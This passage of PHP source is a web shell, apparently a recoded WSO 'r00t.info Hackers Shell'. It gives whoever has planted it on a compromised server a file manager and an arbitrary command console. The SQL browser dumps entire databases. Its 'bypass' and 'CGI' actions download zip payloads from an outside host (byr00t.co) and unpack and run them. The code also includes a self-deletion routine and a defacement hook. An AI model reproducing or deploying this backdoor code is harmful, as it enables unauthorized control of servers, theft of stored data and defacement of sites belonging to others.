        echo "<script>\r\n function sa() {\r\n for(i=0;\r\ni<document.files.elements.length;\r\ni++)\r\n if(document.files.elements[i].type == 'checkbox')\r\n document.files.elements[i].checked = document.files.elements[0].checked;\r\n\r\n }\r\n </script>\r\n <table width='100%' class='main' cellspacing='0' cellpadding='2'>\r\n <form name=files method=post>";
        echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
        $dirs = $files = $links = array();
        $n = count($dirContent);
        for ($i = 0; $i < $n; $i++) {
            $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
            $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
            $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
            if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
                $files[] = array_merge($tmp, array('type' => 'file'));
            } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
                $links[] = array_merge($tmp, array('type' => 'link'));
            } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && $dirContent[$i] != ".") {
                $dirs[] = array_merge($tmp, array('type' => 'dir'));
            }
        }
        $GLOBALS['sort'] = $sort;
        function cmp($a, $b)
        {
            if ($GLOBALS['sort'][0] != 'size') {
                return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]]) * ($GLOBALS['sort'][1] ? 1 : -1);
            } else {
                return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
            }
        }
        usort($files, "cmp");
        usort($dirs, "cmp");
        usort($links, "cmp");
        $files = array_merge($dirs, $links, $files);
        $l = 0;
        foreach ($files as $f) {
            echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');
"><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? viewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
            $l = $l ? 0 : 1;
        }
        echo '<tr><td colspan=5>
 <input type=hidden name=a value=\'FilesMan\'>
 <input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">
 <input type=hidden name=charset value="' . (isset($_POST['charset']) ? $_POST['charset'] : '') . '">
 <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
        if (!empty($_SESSION['act']) && @count($_SESSION['f'])) {
            echo "<option value='paste'>Paste</option>";
        }
        echo "</select>&nbsp;\r\n<input type=\"submit\" value=\">>\"></td><td colspan=\"2\" align=\"right\" width=\"1\"><input name=\"def\" value=\"r00t.info shell\" disabled=\"disabled\"/>&nbsp;\r\n<input type=\"submit\" value=\"Add Deface Here\" disabled=\"disabled\"></td></tr>\r\n </form></table></div>";
        printFooter();
    }
    function actionStringTools()
    {
        if (!function_exists('hex2bin')) {
            function hex2bin($p)
            {
                return decbin(hexdec($p));
            }
        }
        if (!function_exists('hex2ascii')) {
            function hex2ascii($p)
            {
                $r = '';
                for ($i = 0; $i < strLen($p); $i += 2) {
                    $r .= chr(hexdec($p[$i] . $p[$i + 1]));
                }
                return $r;
            }
        }
        if (!function_exists('ascii2hex')) {
            function ascii2hex($p)
            {
                $r = '';
                for ($i = 0; $i < strlen($p); ++$i) {
                    $r .= dechex(ord($p[$i]));
                }
                return strtoupper($r);
            }
        }
        if (!function_exists('full_urlencode')) {
            function full_urlencode($p)
            {
                $r = '';
                for ($i = 0; $i < strlen($p); ++$i) {
                    $r .= '%' . dechex(ord($p[$i]));
                }
                return strtoupper($r);
            }
        }
        if (isset($_POST['ajax'])) {
            $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
            ob_start();
            if (function_exists($_POST['p1'])) {
                echo $_POST['p1']($_POST['p2']);
            }
            $temp = "document.getElementById('strOutput').style.display='';\r\ndocument.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\r\n\n";
            echo strlen($temp), "\n", $temp;
            exit;
        }
        printHeader();
        echo "<h1>String conversions</h1><div class=content>";
        $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'bin2hex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen');
        if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
            $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
        }
        echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);\r\n}else{g(null,null,this.selectTool.value,this.input.value);\r\n} return false;\r\n'><select name='selectTool'>";
        foreach ($stringTools as $k => $v) {
            echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
        }
        echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . ($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . htmlspecialchars(@$_POST['p2']) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;
' : '') . "margin-top:5px' id='strOutput'>";
        if (!empty($_POST['p1'])) {
            if (function_exists($_POST['p1'])) {
                echo htmlspecialchars($_POST['p1']($_POST['p2']));
            }
        }
        echo "</pre></div>";
        printFooter();
    }
    function actionFilesTools()
    {
        if (isset($_POST['p1'])) {
            $_POST['p1'] = urldecode($_POST['p1']);
        }
        if (@$_POST['p2'] == 'download') {
            if (is_file($_POST['p1']) && is_readable($_POST['p1'])) {
                ob_start("ob_gzhandler", 4096);
                header("Content-Disposition: attachment;\r\n filename=" . basename($_POST['p1']));
                if (function_exists("mime_content_type")) {
                    $type = @mime_content_type($_POST['p1']);
                    header("Content-Type: " . $type);
                }
                $fp = @fopen($_POST['p1'], "r");
                if ($fp) {
                    while (!@feof($fp)) {
                        echo @fread($fp, 1024);
                    }
                    fclose($fp);
                }
            } elseif (is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
            }
            exit;
        }
        if (@$_POST['p2'] == 'mkfile') {
            if (!file_exists($_POST['p1'])) {
                $fp = @fopen($_POST['p1'], 'w');
                if ($fp) {
                    $_POST['p2'] = "edit";
                    fclose($fp);
                }
            }
        }
        printHeader();
        echo "<h1>File tools</h1><div class=content>";
        if (!file_exists(@$_POST['p1'])) {
            echo "File not exists";
            printFooter();
            return;
        }
        $uid = @posix_getpwuid(@fileowner($_POST['p1']));
        $gid = @posix_getgrgid(@fileowner($_POST['p1']));
        echo '<span>Name:</span> ' . htmlspecialchars($_POST['p1']) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? viewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . viewPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
        echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
        if (empty($_POST['p2'])) {
            $_POST['p2'] = 'view';
        }
        if (is_file($_POST['p1'])) {
            $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
        } else {
            $m = array('Chmod', 'Rename', 'Touch');
        }
        foreach ($m as $v) {
            echo '<a href=# onclick="g(null,null,null,\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
        }
        echo "<br><br>";
        switch ($_POST['p2']) {
            case 'view':
                echo "<pre class=ml1>";
                $fp = @fopen($_POST['p1'], 'r');
                if ($fp) {
                    while (!@feof($fp)) {
                        echo htmlspecialchars(@fread($fp, 1024));
                    }
                    @fclose($fp);
                }
                echo "</pre>";
                break;
            case 'highlight':
                if (is_readable($_POST['p1'])) {
                    echo "<div class=ml1 style=\"background-color: #e1e1e1;\r\ncolor:black;\r\n\">";
                    $code = highlight_file($_POST['p1'], true);
                    echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
                }
                break;
            case 'chmod':
                if (!empty($_POST['p3'])) {
                    $perms = 0;
                    for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
                        $perms += (int) $_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
                    }
                    if (!@chmod($_POST['p1'], $perms)) {
                        echo "Can't set permissions!<br><script>document.mf.p3.value=\"\";\r\n</script>";
                    } else {
                        die('<script>g(null,null,null,null,"")</script>');
                    }
                }
                echo '<form onsubmit="g(null,null,null,null,this.chmod.value);
return false;
"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
                break;
            case 'edit':
                if (!is_writable($_POST['p1'])) {
                    echo "File isn't writeable";
                    break;
                }
                if (!empty($_POST['p3'])) {
                    @file_put_contents($_POST['p1'], $_POST['p3']);
                    echo "Saved!<br><script>document.mf.p3.value=\"\";\r\n</script>";
                }
                echo "<form onsubmit=\"g(null,null,null,null,this.text.value);\r\nreturn false;\r\n\"><textarea name=text class=bigarea>";
                $fp = @fopen($_POST['p1'], 'r');
                if ($fp) {
                    while (!@feof($fp)) {
                        echo htmlspecialchars(@fread($fp, 1024));
                    }
                    @fclose($fp);
                }
                echo "</textarea><input type=submit value=\">>\"></form>";
                break;
            case 'hexdump':
                $c = @file_get_contents($_POST['p1']);
                $n = 0;
                $h = array('00000000<br>', '', '');
                $len = strlen($c);
                for ($i = 0; $i < $len; ++$i) {
                    $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                    switch (ord($c[$i])) {
                        case 0:
                            $h[2] .= ' ';
                            break;
                        case 9:
                            $h[2] .= ' ';
                            break;
                        case 10:
                            $h[2] .= ' ';
                            break;
                        case 13:
                            $h[2] .= ' ';
                            break;
                        default:
                            $h[2] .= $c[$i];
                            break;
                    }
                    $n++;
                    if ($n == 32) {
                        $n = 0;
                        if ($i + 1 < $len) {
                            $h[0] .= sprintf('%08X', $i + 1) . '<br>';
                        }
                        $h[1] .= '<br>';
                        $h[2] .= "\n";
                    }
                }
                echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;
"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
                break;
            case 'rename':
                if (!empty($_POST['p3'])) {
                    if (!@rename($_POST['p1'], $_POST['p3'])) {
                        echo "Can't rename!<br><script>document.mf.p3.value=\"\";\r\n</script>";
                    } else {
                        die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                    }
                }
                echo '<form onsubmit="g(null,null,null,null,this.name.value);
return false;
"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
                break;
            case 'touch':
                if (!empty($_POST['p3'])) {
                    $time = strtotime($_POST['p3']);
                    if ($time) {
                        if (@touch($_POST['p1'], $time, $time)) {
                            die('<script>g(null,null,null,null,"")</script>');
                        } else {
                            echo "Fail!<script>document.mf.p3.value=\"\";\r\n</script>";
                        }
                    } else {
                        echo "Bad time format!<script>document.mf.p3.value=\"\";\r\n</script>";
                    }
                }
                echo '<form onsubmit="g(null,null,null,null,this.touch.value);
return false;
"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
                break;
            case 'mkfile':
                break;
        }
        echo "</div>";
        printFooter();
    }
    function actionBypass()
    {
        printHeader();
        if (!file_exists('cpanel/cpanel.php')) {
            $dizin = 'https://byr00t.co/vb/cpanel.zip';
            function dosya_indir($link, $name = null)
            {
                $link_info = pathinfo($link);
                $uzanti = strtolower($link_info['extension']);
                $file = $name ? $name . '.' . $uzanti : $link_info['basename'];
                $curl = curl_init($link);
                $fopen = fopen($file, 'w');
                curl_setopt($curl, CURLOPT_HEADER, 0);
                curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($curl, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
                curl_setopt($curl, CURLOPT_FILE, $fopen);
                curl_exec($curl);
                curl_close($curl);
                fclose($fopen);
            }
            dosya_indir($dizin, "cpanel");
            $zip = new ZipArchive();
            $file = 'cpanel.zip';
            $zip->open($file);
            $cikar = $zip->extractTo('cpanel/');
            if (file_exists('cpanel.zip')) {
                @unlink('cpanel.zip');
            }
            if ($cikar) {
                echo "<iframe src=cpanel/cpanel.php width=100% height=100% frameborder=0></iframe> ";
            } else {
                echo "<div class=\"alert alert-danger\"><strong>Hata!</strong> Dosya indirilirken kritik bir hata olu\xc3\x85\xc5\xb8tu.</div>";
            }
        } elseif (file_exists('cpanel/cpanel.php')) {
            echo "<iframe src=cpanel/cpanel.php width=100% height=100% frameborder=0></iframe> ";
        }
        printFooter();
    }
    function actionConsole()
    {
        if (isset($_POST['ajax'])) {
            $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
            ob_start();
            echo "document.cf.cmd.value='';\r\n\n";
            $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']), "\n\r\t\\'\0"));
            if (preg_match("!.*cd\\s+([^;\r\n]+)\$!", $_POST['p1'], $match)) {
                if (@chdir($match[1])) {
                    $GLOBALS['cwd'] = @getcwd();
                    echo "document.mf.c.value='" . $GLOBALS['cwd'] . "';\r\n";
                }
            }
            echo "document.cf.output.value+='" . $temp . "';\r\n";
            echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;\r\n";
            $temp = ob_get_clean();
            echo strlen($temp), "\n", $temp;
            exit;
        }
        printHeader();
        echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\n\r\nvar cmds = new Array(\"\");\r\n\r\nvar cur = 0;\r\n\r\nfunction kp(e) {\r\n var n = (window.Event) ? e.which : e.keyCode;\r\n\r\n if(n == 38) {\r\n cur--;\r\n\r\n if(cur>=0)\r\n document.cf.cmd.value = cmds[cur];\r\n\r\n else\r\n cur++;\r\n\r\n } else if(n == 40) {\r\n cur++;\r\n\r\n if(cur < cmds.length)\r\n document.cf.cmd.value = cmds[cur];\r\n\r\n else\r\n cur--;\r\n\r\n }\r\n}\r\nfunction add(cmd) {\r\n cmds.pop();\r\n\r\n cmds.push(cmd);\r\n\r\n cmds.push(\"\");\r\n\r\n cur = cmds.length-1;\r\n\r\n}\r\n</script>";
        echo "<h1>Console</h1><div class=content><form name=cf onsubmit=\"if(document.cf.cmd.value=='clear'){document.cf.output.value='';\r\ndocument.cf.cmd.value='';\r\nreturn false;\r\n}add(this.cmd.value);\r\nif(this.ajax.checked){a(null,null,this.cmd.value);\r\n}else{g(null,null,this.cmd.value);\r\n} return false;\r\n\"><select name=alias>";
        foreach ($GLOBALS['aliases'] as $n => $v) {
            if ($v == '') {
                echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
                continue;
            }
            echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
        }
        if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
            $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
        }
        echo '</select><input type=button onclick="add(document.cf.alias.value);
if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);
}else{g(null,null,document.cf.alias.value);
}" value=">>"> <input type=checkbox name=ajax value=1 ' . ($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;
" readonly>';
        if (!empty($_POST['p1'])) {
            echo htmlspecialchars("\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']));
        }
        echo "</textarea><input type=text name=cmd style=\"border-top:0;\r\nwidth:100%;\r\n\" onkeydown=\"kp(event);\r\n\">";
        echo "</form></div><script>document.cf.cmd.focus();\r\n</script>";
        printFooter();
    }
    function actionLogout()
    {
        unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
        echo "\r\n <!--r00t.info Hackers Shell-->\r\n <!--Recoded by: Smurfie-->\r\n\r\n\r\n <script>alert(\"Logout Successful\")</script>\r\n <body bgcolor=#ffffff><center><img src=\"http://r00t.info/shell-dosyalar/logo.png\"></center>\r\n <H1><center><p style=\"color: #DF0101\" >r00t.info Hackers Shell</p></H1>\r\n <center>\r\n<iframe src=\"http://www.facebook.com/plugins/likebox.php?\r\nhref=https://www.facebook.com/r00t.info&amp;\r\nwidth=260&amp;\r\ncolorsche\r\nme=light&amp;\r\nshow_faces=true&amp;\r\nborder_color=\r\n%23fff&amp;\r\nstream=false&amp;\r\nheader=false&amp;\r\nheight=100\" scrolling=\"no\" \r\nframeborder=\"0\" style=\"background:transparent;\r\n border:none;\r\n overflow:hidden;\r\n width:200px;\r\n \r\nheight:100px;\r\n\" allowtransparency=\"true\"></iframe></center>\r\n <H3><marquee scrollamount=\"5\" scrolldelay=\"50\" width=\"100%\"><p style=\"color: #DF0101\" >Wso shell</p></marquee></H3></body>";
    }
    function actionSelfRemove()
    {
        printHeader();
        if ($_POST['p1'] == 'yes') {
            if (@unlink(SELF_PATH)) {
                die('Shell has been removed');
            } else {
                echo "unlink error!";
            }
        }
        echo "<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,'yes')\">Yes</a></div>";
        printFooter();
    }
    function actionCgi()
    {
        printHeader();
        if (!file_exists('cgi/rot.cin')) {
            $dizin = 'https://byr00t.co/vb/cgi.zip';
            function dosya_indir($link, $name = null)
            {
                $link_info = pathinfo($link);
                $uzanti = strtolower($link_info['extension']);
                $file = $name ? $name . '.' . $uzanti : $link_info['basename'];
                $curl = curl_init($link);
                $fopen = fopen($file, 'w');
                curl_setopt($curl, CURLOPT_HEADER, 0);
                curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($curl, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
                curl_setopt($curl, CURLOPT_FILE, $fopen);
                curl_exec($curl);
                curl_close($curl);
                fclose($fopen);
            }
            dosya_indir($dizin, "cgi");
            $zip = new ZipArchive();
            $file = 'cgi.zip';
            $zip->open($file);
            $cikar = $zip->extractTo('cgi/');
            if (file_exists('cgi.zip')) {
                @unlink('cgi.zip');
            }
            if ($cikar) {
                chmod('cgi/rot.cin', 0755);
                echo "<iframe src=cgi/rot.cin width=100% height=100% frameborder=0></iframe> ";
            } else {
                echo "<div class=\"alert alert-danger\"><strong>Hata!</strong> Dosya indirilirken kritik bir hata olu\xc3\x85\xc5\xb8tu.</div>";
            }
        } elseif (file_exists('cgi/rot.cin')) {
            echo "<iframe src=cgi/rot.cin width=100% height=100% frameborder=0></iframe> ";
        }
        printFooter();
    }
    function actionSql()
    {
        class DbClass
        {
            var $type;
            var $link;
            var $res;
            function DbClass($type)
            {
                $this->type = $type;
            }
            function connect($host, $user, $pass, $dbname)
            {
                switch ($this->type) {
                    case 'mysql':
                        if ($this->link = @mysql_connect($host, $user, $pass, true)) {
                            return true;
                        }
                        break;
                    case 'pgsql':
                        $host = explode(':', $host);
                        if (!$host[1]) {
                            $host[1] = 5432;
                        }
                        if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user={$user} password={$pass} dbname={$dbname}")) {
                            return true;
                        }
                        break;
                }
                return false;
            }
            function selectdb($db)
            {
                switch ($this->type) {
                    case 'mysql':
                        if (@mysql_select_db($db)) {
                            return true;
                        }
                        break;
                }
                return false;
            }
            function query($str)
            {
                switch ($this->type) {
                    case 'mysql':
                        return $this->res = @mysql_query($str);
                    case 'pgsql':
                        return $this->res = @pg_query($this->link, $str);
                }
                return false;
            }
            function fetch()
            {
                $res = func_num_args() ? func_get_arg(0) : $this->res;
                switch ($this->type) {
                    case 'mysql':
                        return @mysql_fetch_assoc($res);
                    case 'pgsql':
                        return @pg_fetch_assoc($res);
                }
                return false;
            }
            function listDbs()
            {
                switch ($this->type) {
                    case 'mysql':
                        return $this->res = @mysql_list_dbs($this->link);
                    case 'pgsql':
                        return $this->res = $this->query("SELECT datname FROM pg_database");
                }
                return false;
            }
            function listTables()
            {
                switch ($this->type) {
                    case 'mysql':
                        return $this->res = $this->query('SHOW TABLES');
                    case 'pgsql':
                        return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
                }
                return false;
            }
            function error()
            {
                switch ($this->type) {
                    case 'mysql':
                        return @mysql_error($this->link);
                    case 'pgsql':
                        return @pg_last_error($this->link);
                }
                return false;
            }
            function setCharset($str)
            {
                switch ($this->type) {
                    case 'mysql':
                        if (function_exists('mysql_set_charset')) {
                            return @mysql_set_charset($str, $this->link);
                        } else {
                            $this->query('SET CHARSET ' . $str);
                        }
                        break;
                    case 'mysql':
                        return @pg_set_client_encoding($this->link, $str);
                }
                return false;
            }
            function dump($table)
            {
                switch ($this->type) {
                    case 'mysql':
                        $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
                        $create = mysql_fetch_array($res);
                        echo $create[1] . ";\r\n\n\n";
                        $this->query('SELECT * FROM `' . $table . '`');
                        while ($item = $this->fetch()) {
                            $columns = array();
                            foreach ($item as $k => $v) {
                                $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
                                $columns[] = "`" . $k . "`";
                            }
                            echo 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');
' . "\n";
                        }
                        break;
                    case 'pgsql':
                        $this->query('SELECT * FROM ' . $table);
                        while ($item = $this->fetch()) {
                            $columns = array();
                            foreach ($item as $k => $v) {
                                $item[$k] = "'" . addslashes($v) . "'";
                                $columns[] = $k;
                            }
                            echo 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');
' . "\n";
                        }
                        break;
                }
                return false;
            }
        }
        $db = new DbClass(@$_POST['type']);
        if (@$_POST['p2'] == 'download') {
            ob_start("ob_gzhandler", 4096);
            $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
            $db->selectdb($_POST['sql_base']);
            header("Content-Disposition: attachment;\r\n filename=dump.sql");
            header("Content-Type: text/plain");
            foreach ($_POST['tbl'] as $v) {
                $db->dump($v);
            }
            exit;
        }
        printHeader();
        echo '<h1>Sql browser</h1><div class=content>
 <form name="sf" method="post">
 <table cellpadding="2" cellspacing="0">
 <tr>
 <td>Type</td>
 <td>Host</td>
 <td>Login</td>
 <td>Password</td>
 <td>Database</td>
 <td></td>
 </tr>
 <tr>
 <input type=hidden name=a value=Sql>
 <input type=hidden name=p1 value=\'query\'>
 <input type=hidden name=p2>
 <input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">
 <input type=hidden name=charset value="' . (isset($_POST['charset']) ? $_POST['charset'] : '') . '">
 <td>
 <select name=\'type\'>
 <option value="mysql" ' . (@$_POST['type'] == 'mysql' ? 'selected' : '') . '>MySql</option>
 <option value="pgsql" ' . (@$_POST['type'] == 'pgsql' ? 'selected' : '') . '>PostgreSql</option>
 </select></td>
 <td><input type=text name=sql_host value="' . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . '"></td>
 <td><input type=text name=sql_login value="' . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . '"></td>
 <td><input type=text name=sql_pass value="' . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . '"></td>
 <td>';
        $tmp = "<input type=text name=sql_base value=''>";
        if (isset($_POST['sql_host'])) {
            if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
                switch ($_POST['charset']) {
                    case "Windows-1251":
                        $db->setCharset('cp1251');
                        break;
                    case "UTF-8":
                        $db->setCharset('utf8');
                        break;
                    case "KOI8-R":
                        $db->setCharset('koi8r');
                        break;
                    case "KOI8-U":
                        $db->setCharset('koi8u');
                        break;
                    case "cp866":
                        $db->setCharset('cp866');
                        break;
                }
                $db->listDbs();
                echo "<select name=sql_base><option value=''></option>";
                while ($item = $db->fetch()) {
                    list($key, $value) = each($item);
                    echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
                }
                echo "</select>";
            } else {
                echo $tmp;
            }
        } else {
            echo $tmp;
        }
        echo "</td>\r\n <td><input type=submit value=\">>\"></td>\r\n </tr>\r\n </table>\r\n <script>\r\n function st(t,l) {\r\n document.sf.p1.value = 'select';\r\n\r\n document.sf.p2.value = t;\r\n\r\n if(l!=null)document.sf.p3.value = l;\r\n\r\n document.sf.submit();\r\n\r\n }\r\n function is() {\r\n for(i=0;\r\ni<document.sf.elements['tbl[]'].length;\r\n++i)\r\n document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;\r\n\r\n }\r\n </script>";
        if (isset($db) && $db->link) {
            echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
            if (!empty($_POST['sql_base'])) {
                $db->selectdb($_POST['sql_base']);
                echo "<tr><td width=1 style='border-top:2px solid #666;\r\nborder-right:2px solid #666;\r\n'><span>Tables:</span><br><br>";
                $tbls_res = $db->listTables();
                while ($item = $db->fetch($tbls_res)) {
                    list($key, $value) = each($item);
                    $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
                    $value = htmlspecialchars($value);
                    echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;\r\n<a href=# onclick=\"st('" . $value . "')\">" . $value . "</a> (" . $n['n'] . ")</nobr><br>";
                }
                echo "<input type='checkbox' onclick='is();\r\n'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";\r\ndocument.sf.submit();\r\n'></td><td style='border-top:2px solid #666;\r\n'>";
                if (@$_POST['p1'] == 'select') {
                    $_POST['p1'] = 'query';
                    $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2'] . '');
                    $num = $db->fetch();
                    $num = $num['n'];
                    echo "<span>" . $_POST['p2'] . "</span> ({$num}) ";
                    for ($i = 0; $i < $num / 30; $i++) {
                        if ($i != (int) $_POST['p3']) {
                            echo "<a href='#' onclick='st(\"" . $_POST['p2'] . "\", {$i})'>", $i + 1, "</a> ";
                        } else {
                            echo $i + 1, " ";
                        }
                    }
                    if ($_POST['type'] == 'pgsql') {
                        $_POST['p3'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . $_POST['p3'] * 30;
                    } else {
                        $_POST['p3'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . $_POST['p3'] * 30 . ',30';
                    }
                    echo "<br><br>";
                }
                if (@$_POST['p1'] == 'query' && !empty($_POST['p3'])) {
                    $db->query(@$_POST['p3']);
                    if ($db->res !== false) {
                        $title = false;
                        echo "<table width=100% cellspacing=0 cellpadding=2 class=main>";
                        $line = 1;
                        while ($item = $db->fetch()) {
                            if (!$title) {
                                echo "<tr>";
                                foreach ($item as $key => $value) {
                                    echo '<th>' . $key . '</th>';
                                }
                                reset($item);
                                $title = true;
